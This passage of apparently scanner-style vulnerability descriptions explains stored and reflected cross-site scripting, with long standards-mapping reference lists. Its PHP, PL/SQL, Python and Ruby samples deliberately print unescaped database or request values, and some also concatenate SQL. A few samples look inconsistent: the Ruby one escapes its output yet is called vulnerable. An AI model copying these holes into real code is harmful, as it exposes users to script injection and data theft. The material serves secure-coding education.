The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following PHP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


<?php...
$con = mysql_connect($server,$user,$password);
...
$result = mysql_query("select * from emp where id="+eid);
$row = mysql_fetch_array($result)
echo 'Employee name: ', mysql_result($row,0,'name');
...
?>


This code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Example 2: The following PHP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


<?php
$eid = $_GET['eid'];
...
?>
...
<?php
echo "Employee ID: $eid";
?>


As in Example 1, this code operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- As in Example 2, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.php.cross_site_scripting_persistent
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of persistent (also known as stored) XSS, the untrusted source is typically a database or other back-end data store, while in the case of reflected XSS it is typically a web request.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


...
SELECT ename INTO name FROM emp WHERE id = eid;
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('< b >Employee Name: ' || name || '</ b >');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...


This code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Example 2: The following code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


...
-- Assume QUERY_STRING looks like EID=EmployeeID
eid := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 5);
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('< b >Employee ID: ' || eid || '</ b >');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...


As in Example 1, this code operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- As in Example 2, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.sql.cross_site_scripting_persistent
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of persistent (also known as stored) XSS, the untrusted source is typically a database or other back-end data store, while in the case of reflected XSS it is typically a web request.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following Python code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + eid)


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following Python code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + row["emp"]')
...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.python.cross_site_scripting_persistent
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of persistent (also known as stored) XSS, the untrusted source is typically a database or other back-end data store, while in the case of reflected XSS it is typically a web request.


2. The data is included in dynamic content that is sent to a web user without validation.
Example 1: The following Ruby code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


...
rs = conn.exec_params("select * from emp where id=?", eid)
...
Rack::Response.new.finish do |res|
...
rs.each do |row|
res.write("Employee name: #{escape(row['name'])}")
...
end
end
...


This code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

